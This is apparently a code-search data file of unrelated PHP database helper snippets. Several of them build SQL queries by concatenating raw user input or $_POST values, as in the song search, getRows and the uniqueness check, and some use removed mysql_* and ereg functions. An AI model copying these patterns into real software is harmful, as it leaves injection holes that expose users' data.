array(\n\t\t\t\t\t'value_id' => $value->element_id,\n\t\t\t\t\t'field_id' => $value->tracker_extra_field_id,\n\t\t\t\t\t'name' => $value->element_name\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t}", "function filter_field($data, $field)\n {\n return array_intersect_key($data, array_fill_keys($field, ''));\n }", "function processSearch($queryArr, $fieldArr) {\n\n\t\tglobal $query, $field, $condSQL;\n\n\t\tif ( count($queryArr) > 0 ) {\n\t\t\tfor ( $i=0; $i<count($queryArr); $i++ ) {\n\t\t\t\tif (!empty($queryArr[$i])) {\n\t\t\t\t\t$searchSQL .= \"lower($fieldArr[$i]) like '%\".strtolower($queryArr[$i]).\"%' and \";\n\t\t\t\t\tif ( !$query_value ) $query_value = $queryArr[$i];\n\t\t\t\t\tif ( !$field_value ) $field_value = $fieldArr[$i];\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ( !empty($searchSQL) ) {\n\t\t\t\t$searchSQL\t= substr($searchSQL, 0, -5);\n\t\t\t\tif (!empty($condSQL)) $condSQL\t= $condSQL.\"and \".$searchSQL; else $condSQL = $searchSQL;\n\t\t\t}\n\t\t}\n\t\t$query\t= $query_value;\n\t\t$field\t= $field_value;\n\n\t}", "function checkDuplicates($pdo, $sql, $field)\n {\n $stmt = $pdo->prepare($sql);\n $stmt->bindValue(1, $field);\n $stmt->execute();\n $row = $stmt->fetch(PDO::FETCH_ASSOC);\n return $row;\n }", "abstract public function searchFields(): array;", "function getExistingWords(){\r\n\t$words = array();\r\n\t$result=mysql_query(\"SELECT wordID, wordWrittenForm FROM word ORDER BY wordWrittenForm\") \r\n\t\tor die('Query failed: ' . mysql_error());\r\n\twhile($word = mysql_fetch_array($result, MYSQL_NUM)){\r\n\t\t$words[$word[1]] = $word[0];\r\n\t}\r\n\t$words[\"None\"] = -1;\r\n\t$words[\"Any\"] = -2;\r\n\tmysql_free_result($result);\r\nreturn $words;\r\n}", "function explodeFK($input = '', $table = '', $limit = 0) {\n $input = explode(\" \", $input);\n\n if (count($input) > 1) {\n $default = 1;\n \n foreach ($input as $value) {\n if ($default == 1)\n $pk = $value;\n else {\n $pk .= \" OR pk = $value\";\n }\n \n $default++;\n }\n } else {\n $pk = array_shift($input);\n }\n\n connectDatabase();\n \n $result = queryDatabase(\"SELECT name\n FROM $table\n WHERE pk = $pk\n ORDER BY name ASC\");\n\n $default = 1;\n\n while ($row = mysql_fetch_object($result)) {\n if ($default == 1)\n $input = \"$row->name<br />\";\n elseif ($default < 4 && $limit == 1)\n $input .= \"$row->name<br />\";\n elseif ($default == 4 && $limit == 1)\n $input .= \"More...<br />\";\n elseif ($default > 1 && $limit == 0)\n $input .= \"$row->name<br />\";\n\n $default++;\n }\n\n return $input;\n}", "function get_first_missing_number($list, $field) {\n\t$item_array = [];\n\tforeach ($list as $item) {\n\t\t$item_array[] = $item->$field;\n\t}\n\t$full_array = [\n\t\t1,\n\t];\n\t$output = 1;\n\tif (!empty($item_array)) {\n\t\t$full_array = range(1, max($item_array));\n\t}\n\n\n\tforeach ($item_array as $key => $value) {\n\t\tif ($key != ($value - 1)) {\n\t\t\t$output = $full_array[$key];\n\t\t}\n\t\telse {\n\t\t\t$output = max($item_array) + 1;\n\t\t}\n\t}\n\n\treturn $output;\n}", "public function search_schema($field=null) {\r\n\t$class = __CLASS__;\r\n\t$self = $class::_object();\r\n\tif (is_string($field) && $field) {\r\n\t return isset($self->search_schema[$field]) ? $self->search_schema[$field] : array();\r\n\t}\r\n\treturn $self->search_schema;\r\n }", "function my_get_field_list( $table_name ){\r\n\t\r\n\t$query = \" SHOW fields FROM `\".$table_name.\"` \";\r\n\t$result = my_query( $query );\r\n\t \r\n\twhile($row = my_fetch_array( $result ) ){\r\n\t\t$data = $row['Field'];\r\n\t\tbreak;\r\n\t}\r\n\t\r\n\treturn $data;\r\n\t\r\n}", "public function getEmptyValues();", "public function inputToSelectProblems()\n {\n $problems = $this->problem->getKeyValueAllOrderBy('id','name','id');\n foreach ($problems as $problem_id => $problem_name) {\n $problems[$problem_id] = $problem_id . ' - ' . $problem_name;\n }\n return $problems;\n }", "public function testByFieldValue()\n\t{\n\t\t$container = $this->containerFactory();\n\t\t//Create one entry for unknown user\n\t\t$this->createEntryWithEmail( rand(). 'email.com' );\n\n\t\t//Create two entries for a known user.\n\t\t$email = 'nom@noms.noms';\n\t\t$userId = $this->factory()->user->create(\n\t\t\t[ 'user_email' => $email ]\n\t\t);\n\t\twp_set_current_user( $userId );\n\t\t$this->createEntryWithEmail( $email );\n\t\t$this->createEntryWithEmail( $email );\n\n\t\t$results = $container->selectByFieldValue(\n\t\t\t$this->getEmailFieldSlug(),\n\t\t\t$email\n\t\t);\n\t\t$this->assertSame(2, count($results));\n\t\t$this->assertSame( $email,$results[0]['values'][1]->value );\n\t\t$this->assertSame( $email,$results[1]['values'][1]->value );\n\n\t}", "function get_search_bar_results($user_input){\n $array = array();\n $sql = 'select songs.id,songs.img,songs.artist,songs.name\n from songs\n where name = \"'.$user_input.'\" \n group by name';\n $array = filter_results_of_search_bar_input($sql,$array);\n $sql = 'select songs.id,songs.img,songs.artist,songs.name\n from songs\n where artist like \"%'.$user_input.'%\"\n group by name';\n $array = filter_results_of_search_bar_input($sql,$array);\n $sql = 'select songs.id,songs.img,songs.artist,songs.name\n from songs\n where name like \"%'.$user_input.'%\"\n group by name';\n $array = filter_results_of_search_bar_input($sql,$array);\n return $array;\n}", "public static function getHash($query, $field)\n {\n $args = array_slice(func_get_args(), 2);\n array_unshift($args, $query);\n\n if ($_result = call_user_func_array(array('self', 'query'), $args)) {\n while ($arr = self::$_db->fetchRow($_result)) {\n if (isset($arr[$field])) {\n $result[$arr[$field]] = $arr;\n }\n }\n\n self::$_db->freeResult($_result);\n }\n\n return !empty($result) ? $result : array();\n }", "function GetImpostionForfait()\n{\n $dbh = ConnectDB();\n $req = $dbh->query(\"SELECT COUNT(idGame) AS Joignable, (SELECT COUNT(DISTINCT idGame) FROM fishermenland.game INNER JOIN fishermenland.place ON game.idGame = place.fkGamePlace WHERE fkTypeGame = '3' GROUP BY fkTypeGame) AS NotEmpty, (SELECT COUNT(idGame) FROM fishermenland.game WHERE fkTypeGame = '3') AS TotalGames FROM fishermenland.game WHERE fkTypeGame = '3' AND TourGame IS NULL\");\n $reqArray = $req->fetch();\n\n return $reqArray;\n}", "function lib4ridora_facet_query(array $facet_fields, $query = '') {\n $qp = new IslandoraSolrQueryProcessor();\n $qp->buildQuery( ( empty($query) ? '*:*' : $query ) );\n $qp->solrParams['fl'] = \"PID\";\n $qp->solrParams['facet.mincount'] = 1;\n $qp->solrParams['facet.field'] = $facet_fields;\n $qp->solrParams['facet'] = 'true';\n $qp->solrParams['facet.limit'] = 98765431;\n $qp->solrLimit = 0;\n $qp->executeQuery();\n return $qp->islandoraSolrResult['facet_counts']['facet_fields'];\n}", "function getRows($table,$field=\"\",$value=\"\")\n\t{\n\t\t\n\t\t$q=\"SELECT * From \".$table;\n\t\tif(strlen($field)>0)\n\t\t\t$q.=\" WHERE `\".$field.\"`='\".$value.\"'\";\n\t\treturn mysql_query($q);\n\t}", "public function getValue(string $query): ?array;", "function FetchDataByThreeField($tableName,$fieldName,$fieldValue,$fieldName2,$fieldValue2,$fieldName3,$fieldValue3)\n{\n $query = $this->db->query(\"Select * from $tableName where $fieldName='\".$fieldValue.\"' and $fieldName2='\".$fieldValue2.\"' and $fieldName3='\".$fieldValue3.\"' \");\n $totalRowsUnique = $query->num_rows();\n if($totalRowsUnique > 0)\n {\n return $query->result_array();\n }\n \n}", "function _mysql_enum_values($tableName,$fieldName){\n\n\t\t#$result = @mysql_query(\"DESCRIBE $tableName\");\n\n\t\t foreach($this->fields as $row){\n\n\t\t\tereg('^([^ (]+)(\\((.+)\\))?([ ](.+))?$',$row['Type'],$fieldTypeSplit);\n\n\t\t\t//split type up into array\n\t\t\t$fieldType = $fieldTypeSplit[1];\n\t\t\t$fieldLen = $fieldTypeSplit[3];\n\n\t\t\tif ( ($fieldType=='enum' || $fieldType=='set') && ($row['Field']==$fieldName) ){\n\t\t\t\t$fieldOptions = split(\"','\",substr($fieldLen,1,-1));\n\t\t\t\treturn $fieldOptions;\n\t\t\t\t}\n\t\t}\n\n\t\treturn FALSE;\n\n\t}", "function good_query_value($sql, $debug=0)\n{\n $lst = good_query_list($sql, $debug);\n return is_array($lst)?$lst[0]:false;\n}", "function GetImpostion()\n{\n $dbh = ConnectDB();\n $req = $dbh->query(\"SELECT COUNT(idGame) AS Joignable, (SELECT COUNT(DISTINCT idGame) FROM fishermenland.game INNER JOIN fishermenland.place ON game.idGame = place.fkGamePlace WHERE fkTypeGame = '2' GROUP BY fkTypeGame) AS NotEmpty, (SELECT COUNT(idGame) FROM fishermenland.game WHERE fkTypeGame = '2') AS TotalGames FROM fishermenland.game WHERE fkTypeGame = '2' AND TourGame IS NULL\");\n $reqArray = $req->fetch();\n\n return $reqArray;\n}", "public function getResultFields( $query_id=null );", "public static function getItemsForComboBox($table, $field) {\n\t\t/* @var $TYPO3_DB t3lib_DB */\n\t\tglobal $TYPO3_DB;\n\t\t$_records = array();\n\t\tif (is_string($table) && is_string($field)) {\n\t\t\t$clause = 'deleted = 0 ';\n\t\t\t$clause .= t3lib_BEfunc::BEenableFields($table);\n\t\t\t$clause .= ' AND (' . $field . ' != \"\" OR ' . $field . ' != 0)';\n\t\t\t$records = $TYPO3_DB->exec_SELECTgetRows('distinct(' . $field . ')', $table, $clause);\n\t\t\t\n\t\t\t// TRUE would means the uid of the option will be the same as the value\n\t\t\tif (!strpos($field, ',')) {\n\t\t\t\tforeach($records as $record) {\n\t\t\t\t\t$_records[] = array(\n\t\t\t\t\t\t$record[$field],\n\t\t\t\t\t\t$record[$field],\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $_records;\n\t}", "public function getDistinctEntries($type, $field)\n\t{\n\t\t$query = $this->db->getQuery(true)\n\t\t\t->select(\"DISTINCT h.type_id\")\n\t\t\t->from(\"#__history AS h\")\n\t\t\t->where(\"h.field=\" . $this->db->quote($field) . \" AND h.type=\" . $this->db->quote($type))\n\t\t\t->where(\"h.user_id IN(\" . implode(',', $this->users) . \")\");\n\n\t\treturn $this->db->setQuery($query)->loadColumn();\n\t}", "function fieldValues() {\n\t\n\t\tif (isset($this->fieldValues)) {\n\t\t\treturn $this->fieldValues;\n\t\t}\n\n\t\t// fieldvalues fanns inte.\n\t\t// kolla preload först och om inte där så ladda in\n\t\t$preloader = pb_query_preloader::getInstance();\n\t\t$preloadRows = $preloader->getPreloadFieldsRows($this->id);\n\t\tif ($preloadRows === false) {\n\t\t\t#echo \"<br>nah, no preload row for field, article: $this->id \";\n\t\t\t// no preload for this articles field, fetch them from db\n\t\t\tglobal $polarbear_db;\t\t\n\t\t\t$sql = \"\n\t\t\t\tSELECT \n\t\t\t\t\tfv.fieldID, fv.articleID, fv.value, fv.numInSet,\n\t\t\t\t\tf.name as fieldName, f.type as fieldType\n\t\t\t\tFROM \" . POLARBEAR_DB_PREFIX . \"_fields_values as fv\n\t\t\t\tINNER JOIN \" . POLARBEAR_DB_PREFIX . \"_fields as f ON f.id = fv.fieldID\n\t\t\t\tWHERE articleID = '$this->id' ORDER BY fieldID ASC, numInSet ASC\";\n\t\t\t$rows = $polarbear_db->get_results($sql);\n\t\t} else {\n\t\t\t#echo \"<br>got preload row for field, article: $this->id\";\n\t\t\t// horay! we got the field values preloaded\n\t\t\t$rows = $preloadRows;\n\t\t}\n\t\n\t\t$arrFieldValues = array();\n\t\t$arrFieldCount = array();\n\t\tif (is_array($rows)) {\n\t\t\tforeach ($rows as $oneRow) {\n\t\t\t\tif (!isset($arrFieldValues[$oneRow->fieldID])) {\n\t\t\t\t\t$arrFieldValues[$oneRow->fieldID] = array();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\t\ttodo: om det är en fil/bild ska det kanske finnas\n\t\t\t\t\tlink, downloadLink, imageSrc osv.\n\t\t\t\t*/\n\t\t\t\t$arrFieldValues[$oneRow->fieldID][] = array(\n\t\t\t\t\t\"fieldID\" => $oneRow->fieldID,\n\t\t\t\t\t\"articleID\" => $oneRow->articleID,\n\t\t\t\t\t\"value\" => $oneRow->value,\n\t\t\t\t\t\"numInSet\" => $oneRow->numInSet,\n\t\t\t\t\t// and some useful \"extras\" too\n\t\t\t\t\t\"valueEscaped\" => htmlspecialchars ($oneRow->value, ENT_COMPAT, \"UTF-8\"),\n\t\t\t\t\t\"valueNoTags\" => strip_tags($oneRow->value),\n\t\t\t\t\t\"fieldName\" => $oneRow->fieldName,\n\t\t\t\t\t\"fieldType\" => $oneRow->fieldType\n\t\t\t\t);\n\t\t\t\tif (!isset($arrFieldCount[$oneRow->fieldID])) {\n\t\t\t\t\t$arrFieldCount[$oneRow->fieldID]=0;\n\t\t\t\t}\n\t\t\t\t$arrFieldCount[$oneRow->fieldID]++;\n\t\t\t}\n\t\t}\n\t\t\n\t\t// update count\n\t\tforeach ($arrFieldCount as $fieldID => $fieldCount) {\n\t\t\tfor ($i=0; $i<sizeof($arrFieldValues[$fieldID]); $i++) {\n\t\t\t\t$arrFieldValues[$fieldID][$i][\"fieldSetCount\"] = $fieldCount;\n\t\t\t}\n\t\t}\n\t\t\n\t\t#pb_pqp_log_speed(\"article fieldValues()\");\n\t\t\n\t\t$this->fieldValues = $arrFieldValues;\n\t\treturn $this->fieldValues;\n\t}", "function getParams($input) {\n $allowedFields = ['post_id', 'user_name', 'content'];\n $filterParams = [];\n foreach($input as $param => $value){\n if(in_array($param, $allowedFields)){\n $filterParams[] = \"$param=:$param\";\n }\n }\n return implode(\", \", $filterParams);\n}", "function db_get_field($query)\n{\n\t$args = func_get_args();\n\n\tif ($_result = call_user_func_array('db_query', $args)) {\n\t\n\t\t$result = driver_db_fetch_row($_result);\n\n\t\tdriver_db_free_result($_result);\n\n\t}\n\n\treturn (isset($result) && is_array($result)) ? $result[0] : NULL;\n}", "public function autocompleteFieldContent(Field $field, string $q): array\n {\n $size = 20;\n if ('' === $q) {\n return current($this->aggregateMostCommonValues([$field], $size));\n }\n\n $fieldName = $field->getName();\n $response = $this->client->search([\n 'index' => $this->indexName,\n 'body' => [\n 'query' => [\n 'match_phrase_prefix' => [\n $fieldName => $q,\n ],\n ],\n 'size' => $size,\n '_source' => false,\n 'highlight' => [\n 'pre_tags' => [''],\n 'post_tags' => [''],\n 'fields' => [\n $fieldName => new \\stdClass(),\n ],\n ],\n ],\n ]);\n\n $results = [];\n foreach ($response['hits']['hits'] as $hit) {\n if (!isset($hit['highlight'])) {\n continue;\n }\n $highlights = array_unique($hit['highlight'][$fieldName]);\n foreach ($highlights as $highlight) {\n if (!in_array($highlight, $results)) {\n $results[] = $highlight;\n }\n }\n }\n\n return $results;\n }", "private function prepareQueryArray($input){\n global $Core;\n if(empty($input) || !is_array($input)){\n throw new Exception ($Core->language->error_input_must_be_a_non_empty_array);\n }\n $allowedFields = $this->getTableFields();\n $temp = array();\n\n $parentFunction = debug_backtrace()[1]['function'];\n if((stristr($parentFunction,'add') || $parentFunction == 'insert')){\n $requiredBuffer = $this->requiredFields;\n }\n else{\n $requiredBuffer = array();\n if(stristr($parentFunction,'translate')){\n $allowedFields = $this->translationFields;\n }\n }\n\n foreach ($input as $k => $v){\n if($k === 'added' && !$this->allowFieldAdded){\n throw new Exception ($Core->language->field_added_is_not_allowed);\n }\n if($k === 'id'){\n throw new Exception ($Core->language->field_id_is_not_allowed);\n }\n\n if(!isset($allowedFields[$k]) && !in_array($k,$allowedFields)){\n throw new Exception (get_class($this).\": The field $k does not exist in table {$this->tableName}!\");\n }\n\n if(!is_array($v)){\n $v = trim($v);\n }\n\n if(!empty($v) || ((is_numeric($v) && intval($v) === 0))){\n if(!empty($requiredBuffer) && ($key = array_search($k, $requiredBuffer)) !== false) {\n unset($requiredBuffer[$key]);\n }\n $fieldType = $this->tableFields[$k]['type'];\n if(stristr($fieldType,'int') || stristr($fieldType,'double')){\n if(!is_numeric($v)){\n $k = str_ireplace('_id','',$k);\n throw new Exception ($Core->language->error_field.' \\\"'.$Core->language->$k.'\\\" '.$Core->language->error_must_be_a_numeric_value);\n }\n $temp[$k] = $v;\n }\n else if($fieldType == 'date'){\n $t = explode('-',$v);\n if(count($t) < 3 || !checkdate($t[1],$t[2],$t[0])){\n $k = str_ireplace('_id','',$k);\n throw new Exception ($Core->language->error_field.' \\\"'.$Core->language->$k.'\\\" '.$Core->language->error_must_be_a_date_with_format);\n }\n $temp[$k] = $v;\n unset($t);\n }\n else{\n if(in_array($k,$this->explodeFields)){\n if(is_object($v)){\n $v = (array)$v;\n }\n else if(!is_array($v)){\n $v = array($v);\n }\n\n if($k == 'languages'){\n $tt = array();\n foreach($v as $lang){\n if(empty($lang)){\n throw new Exception ($Core->language->error_language_cannot_be_empty);\n }\n $langMap = $Core->language->getLanguageMap(false);\n\n if(!isset($langMap[$lang])){\n throw new Exception ($Core->language->error_undefined_or_inactive_language);\n }\n if(!is_numeric($lang)){\n $lang = $langMap[$lang]['id'];\n }\n $tt[] = $lang;\n }\n $v = '|'.implode('|',$tt).'|';\n }\n else{\n $tt = '';\n foreach($v as $t){\n if(!empty($t)){\n $tt .= str_replace($this->explodeDelimiter,'_',$t).$this->explodeDelimiter;\n }\n }\n $v = substr($tt,0,-1);\n unset($tt,$t);\n }\n }\n else if(is_array($v)){\n $k = str_ireplace('_id','',$k);\n throw new Exception($Core->language->error_field.' \\\"'.$Core->language->$k.'\\\" '.$Core->language->error_must_be_alphanumeric_string);\n }\n\n $temp[$k] = $Core->db->real_escape_string($v);\n }\n }\n else{\n if(stristr($parentFunction,'update') && isset($this->requiredFields[$k])){\n $k = str_ireplace('_id','',$k);\n throw new Exception($Core->language->error_field.' \\\"'.$Core->language->$k.'\\\" '.$Core->language->error_must_not_be_empty);\n }\n else $temp[$k] = '';\n }\n }\n\n if(!empty($requiredBuffer)){\n $temp = array();\n foreach($requiredBuffer as $r){\n $r = str_ireplace('_id','',$r);\n $temp[] = $Core->language->$r;\n }\n\n throw new Exception($Core->language->error_required_fields_missing.\": \".implode(', ',$temp));\n }\n\n return $temp;\n }", "function getDBcounts( )\n{\n\t// \"frequency\" is how often data was collected eg \"Annual\"\n\tglobal $fields, $connect;\n\t$queryreg = mysqli_query($connect, \"\n\t \tSELECT * from counts ORDER BY count DESC\");\n\n\twhile($row = mysqli_fetch_array($queryreg,MYSQLI_ASSOC))\n\t{\n\t\t$fields[$row['field']] = $row['count']; \n\t//\techo \"<BR>\" . $row['field'] . ' = ' . $row['count'];\n\t}\n}", "function getValue(int $field);", "protected function getExistingFieldOptions() {\n $info = array();\n $field_types = \\Drupal::service('plugin.manager.entity.field.field_type')->getDefinitions();\n\n foreach (field_info_instances() as $existing_entity_type => $bundles) {\n foreach ($bundles as $existing_bundle => $instances) {\n // No need to look in the current bundle.\n if (!($existing_bundle == $this->bundle && $existing_entity_type == $this->entity_type)) {\n foreach ($instances as $instance) {\n $field = field_info_field($instance['field_name']);\n // Don't show\n // - locked fields,\n // - fields already in the current bundle,\n // - fields that cannot be added to the entity type,\n // - fields that should not be added via user interface.\n\n if (empty($field['locked'])\n && !field_info_instance($this->entity_type, $field['field_name'], $this->bundle)\n && (empty($field['entity_types']) || in_array($this->entity_type, $field['entity_types']))\n && empty($field_types[$field['type']]['no_ui'])) {\n $info[$instance['field_name']] = array(\n 'type' => $field['type'],\n 'type_label' => $field_types[$field['type']]['label'],\n 'field' => $field['field_name'],\n 'label' => $instance['label'],\n );\n }\n }\n }\n }\n }\n return $info;\n }", "abstract public function GetValue($query);", "public function search_schema($field=null) {\r\n\t\t$class = __CLASS__;\r\n\t\t$self = $class::_object();\r\n\t\tif (is_string($field) && $field) {\r\n\t\t\treturn isset($self->search_schema[$field]) ? $self->search_schema[$field] : array();\r\n\t\t}\r\n\t\treturn $self->search_schema;\r\n }", "abstract protected function fetchValueSuggestions($column, $searchTerm, Filter\\Chain $searchFilter);", "function lecturerNames($lec_no,$field){\n\t\tfor($i=0;$i<count($lec_no);$i++){\n\t\t\t$q_2 = \"SELECT `$field` FROM `mkombo_university`.`staff` WHERE `lec_no`='\".$lec_no[$i].\"'\";\n\t\t\t$run_2 = mysql_query($q_2);\n\t\t\twhile($row = mysql_fetch_array($run_2)){\n\t\t\t\t$result[] = $row[$field];\n\t\t\t}\n\t\t}\n\t\treturn $result;\n\t}", "function statistics_client_query($query) {\n // TODO: regexp instead of normal comparison\n $result = db_query('SELECT id, query FROM {statistics_client_query_whitelist}');\n $flag = FALSE;\n foreach ($result as $record) {\n if ($query === $record->query) {\n $flag = TRUE;\n }\n }\n if (!$flag) {\n return array();\n }\n $tmp_res = db_query($query);\n $result = array();\n foreach ($tmp_res as $record) {\n $result[] = $record;\n }\n return $result;\n}", "public function findAllByAnyValueLimitCount($value)\n {\n try {\n $this->conn = $this->startConnection();\n $columns = $this->conn->query(\"SHOW COLUMNS FROM $this->table\");\n $column_list = array();\n foreach ($columns as $column) {\n $column_sql = $column['Field'] . \" LIKE '%$value%'\";\n array_push($column_list, $column_sql);\n }\n $sql_search = \"(\".implode(\" or \", $column_list).\")\";\n $statement = $this->conn->prepare(\n \"SELECT COUNT(*) FROM $this->table WHERE $sql_search;\"\n );\n $statement->execute();\n return $statement->fetch(PDO::FETCH_BOTH);\n } catch (PDOException $ex) {\n echo $ex->getMessage();\n return $ex->getMessage();\n }\n }", "function searchFieldArray($option_name,$value_name) {\n\n\t\tglobal $t;\n\n\t\tfor ($i=0; $i<count($option_name); $i++) {\n\n\t\t\t$output .= \"<tr bgcolor=$t->tableColor>\n\t\t\t\t\t\t<td>\".$value_name[$i].\"</td>\n\t\t\t\t\t\t<td><input type=\\\"text\\\" name=\\\"query[]\\\"><input type=\\\"hidden\\\" name=\\\"field[]\\\" value=\\\"\".$option_name[$i].\"\\\"></td>\n\t\t\t\t\t\t</tr>\";\n\t\t}\n\t\treturn $output;\n\t}", "function getExtIdCustomFieldCandidates() {\n // Mantis customFields types\n $mType_string = 0;\n $mType_numeric = 1;\n\n $query = \"SELECT * FROM `mantis_custom_field_table` WHERE `type` IN ($mType_string, $mType_numeric) ORDER BY name\";\n $result = SqlWrapper::getInstance()->sql_query($query);\n if (!$result) {\n throw new Exception(\"get ExtId candidates FAILED\");\n }\n\n $candidates = array();\n while ($row = mysql_fetch_object($result)) {\n $candidates[\"$row->id\"] = $row->name;\n }\n return $candidates;\n}", "static function findField($collection, $field, $query = array(), $options = array()) {\n $options['fields'] = array($field => 1);\n $result = self::find($collection, $query, $options);\n $array = array();\n foreach ($result as $val) {\n $array[] = $val[$field];\n }\n return $array;\n }", "public function get_list($fields=\"*\"){\n\t\t\t\t\n // Open db instance\n $db = new DB();\n\t\t\n\t\t$conn = $db->connect_db();\n\t\t\n $result = pg_query($conn, \"select \".$fields.\" from category\"); // should return only a given number of parameters not all\n\t if (!$result) {\n\t\t\terror_log( \"An error occurred while retrieving category list.\\n\");\n\t\t\treturn null;\n\t }\n\t\t$array_output = pg_fetch_all($result);\n\t\t\n\t\tpg_close($conn);\n\t\t\n\t\treturn $array_output;\n\t}", "function query_count_occurrences($value, $column, $table) {\n global $connection;\n\n //prep value\n $value = mysqli_real_escape_string($connection, $value);\n\n //construct query\n $query = \"SELECT * FROM {$table} WHERE {$column}='{$value}'\";\n\n //execute query\n $result = mysqli_query($connection, $query);\n $result = mysqli_num_rows($result);\n\n return $result;\n}", "function _queryUnique($fieldName){\n\n\t\t$SQLquery = \"SELECT `\".$fieldName.\"` FROM \".$this->table.\" WHERE `\".$fieldName.\"` ='\".$_POST[$fieldName].\"'\";\n\t\t//if updating make sure it doesn't select self\n\t\tif( isset($_POST['pkey']) ) $SQLquery .= \" AND \".$this->pkey.\" != '\".$_POST['pkey'].\"'\";\n\t\tif( count($this->db->execute($SQLquery)) ) $this->errMsg[$fieldName] = $this->unique[$fieldName]['msg'];\n\n\t}", "static function findField($collection, $field, $query = array(), $options = array()) {\r\n\t\t$options['fields'] = array($field => 1);\r\n\t\t$result = self::find($collection, $query, $options);\r\n\t\t$array = array();\r\n\t\tforeach ($result as $val) {\r\n\t\t\t$array[] = $val[$field];\r\n\t\t}\r\n\t\treturn $array;\r\n\t}", "public function fetchOneFieldAll($sql, $fld)\n {\n $res = $this->query($sql);\n for($out = array(); $row = $res->fetch_array($this->fetch_mode); $out[] = $row[$fld]);\n return $out;\n }", "public abstract function field_count();", "public abstract function getCountSelectSQL($field, $from, $joins, $where, $having, $group, $values);", "public function getMaxOfRecord ($field,$table);", "public function count_all_by_field($field = false, $value = false, $get_deleted = false)\n\t{\n\n\t\t$this->db->where($field,$value);\n\t\tif ($get_deleted)\n\t\t{\n\t\t\t// Get only the deleted users\n\t\t\t$this->db->where('news_articles.deleted !=', 0);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->db->where('news_articles.deleted', 0);\n\t\t}\n\t\t//$this->from($this->table_name);\n\t\t\n\t\treturn $this->db->count_all_results('news_articles');\n\t}", "function my_browse_data( $table_name , $datas ){\r\n\t\r\n\tglobal $connection;\r\n\t\r\n\t$primary_field = my_get_field_list($table_name);\r\n\tforeach($datas as $field => $value){\r\n\t\t$fieldname = $field ;\r\n\t\t$fieldvalue = $value;\r\n\t}\r\n\t\r\n\t$query = \" SELECT `\".$primary_field. \"` FROM `\".$table_name.\"` WHERE `\".$fieldname.\"` = \". $fieldvalue ;\r\n\t \r\n\t$result = my_query( $query );\r\n\tif( my_num_rows($result) > 0 ){\r\n\t\t\r\n\t\t$data = array();\r\n\t\t\r\n\t\twhile(\t$row = my_fetch_array($result) ){\r\n\t\t\t$data[] = $row[$primary_field];\r\n\t\t}\r\n\t\t\r\n\t\treturn $data;\r\n\t\r\n\t}\r\n\t\r\n\treturn false;\r\n\t\r\n}", "public function getFieldValues()\n {\n if($this->isNewRecord){\n return []; //TODO: LOAD DEFAULT FIELDS OF TYPE\n }\n\n //pull meta values from DB\n $table = self::tablePrefix().'cms_post_field';\n $strSql = \"SELECT id, field_id, value \n\t\t\t\t\tFROM {$table}\n\t\t\t\t\tWHERE post_id = :pid\n\t\t\t\t \";\n $cmd = self::getDb()->createCommand($strSql);\n $cmd->bindValue(\":pid\",$this->id,\\PDO::PARAM_STR);\n $arrResults = $cmd->queryAll();\n\n return ArrayHelper::index($arrResults, 'id', 'field_id');\n }", "function dbReaderQuery($query) {\n\n\t//echo \"Sono la funzione dbReaderQuery\";\n\t//echo \"<p>Query ricevuta: \" . $query;\n\t$result = mysql_query($query);\n\t//echo \"<p>Result: \".$result;\n\t$toReturn = array();\n\t$i = 0;\n\tif ($result !== false) {\n\t\twhile ($data = mysql_fetch_array($result, MYSQL_ASSOC)) {\n\t\t\tforeach ($data as $key => $value) {\n\t\t\t\t$toReturn[$i][$key] = $value;\n\t\t\t\t//echo \"<p>Elemento dell'array numero \".$i.\" di valore: \".$value;\n\t\t\t}\n\t\t\t$i++;\n\t\t}\n\t\treturn $toReturn;\n\t} else\n\t\treturn false;\n}", "public function field(string $query = null): mixed;", "function get_import_items($field1,$field2,$table){\r\n\t$output = array();\r\n\t$result = db_query(\"SELECT $field1,$field2 FROM $table\");\r\n\tif (db_has_rows($result))\r\n\t\twhile ($row = db_fetch_row($result))\r\n\t\t\t$output[$row[0]] = $row[1];\r\n\treturn $output;\r\n}", "public function getValues(ContentEntityInterface $entity, $field);", "abstract public function getFieldsSearchable();", "public function getValuesRows($includeEmptyFields=false){\n if (!$includeEmptyFields){\n return $this->valuesRows;\n }else{\n $result=[];\n if (!empty($this->valuesRows)){\n foreach ($this->valuesRows as $valuesRowId=>$valuesRow){\n $rowResult=[];\n if (!empty($this->dbFields)){\n foreach ($this->dbFields as $dbField){\n $rowResult[$dbField->id]=(!empty($valuesRow[$dbField->id])?$valuesRow[$dbField->id]:'');\n }\n }\n $result[$valuesRowId]=$rowResult;\n }\n }\n return $result;\n }\n }", "public function getGroupsByField($field,$value){\n\t\t$query = \"SELECT * FROM people_group WHERE $field = '$value'\";\n\t\t$result = $this->mysqli->query($query);\n\t\t$data = FALSE;\n\t\twhile ($row = $result->fetch_assoc()) {\n\t\t\t$data [] = array(\n\t\t\t\t'id' => $row['id'], \n\t\t\t\t'person_id' => $row['person_id'], \n\t\t\t\t'group_name' => $row['group_name'], \n\t\t\t);\n\t\t}\n\n\t\treturn $data;\n\n\t}", "public function query($fields)\n {\n $res = [];\n $patterns = [];\n $limit = -1;\n if (isset($fields['limit'])) {\n $limit = array_pop($fields);\n }\n foreach ($fields as $field => $pattern) {\n $pattern = preg_quote($pattern, '@');\n $pattern = str_replace('\\*', '.*?', $pattern);\n $patterns[$field] = $pattern;\n }\n\n foreach ($this->elts as $id => &$elt) {\n $ok = true;\n\n\n foreach ($patterns as $field => $pattern) {\n $ok = preg_match('@^' . $patterns[$field] . '$@i', $elt->$field);\n if (!$ok) break;\n }\n\n if ($ok) {\n $res[] = &$elt;\n $limit--;\n if ($limit === 0) break;\n }\n }\n return $res;\n }", "function getItemsType($searchTerm){\n $searchTerm =trim($searchTerm);global $con;\n if(!$con)$con=getConnection();\n $query=\"select distinct term as term_name,term_type_id as term_type from query_terms\";\n $query .=\" where term like '$searchTerm%' \";\n $result = mysql_query($query,$con);$itemTypeList=array();\n if($result){ \n $numRows =mysql_numrows($result);\n while($row = mysql_fetch_assoc($result)){\n $term=$row[\"term_name\"];$id=$row[\"term_type\"];$itemTypeList[$id]=$term;\n }\n }\n return $itemTypeList;\n}" ]
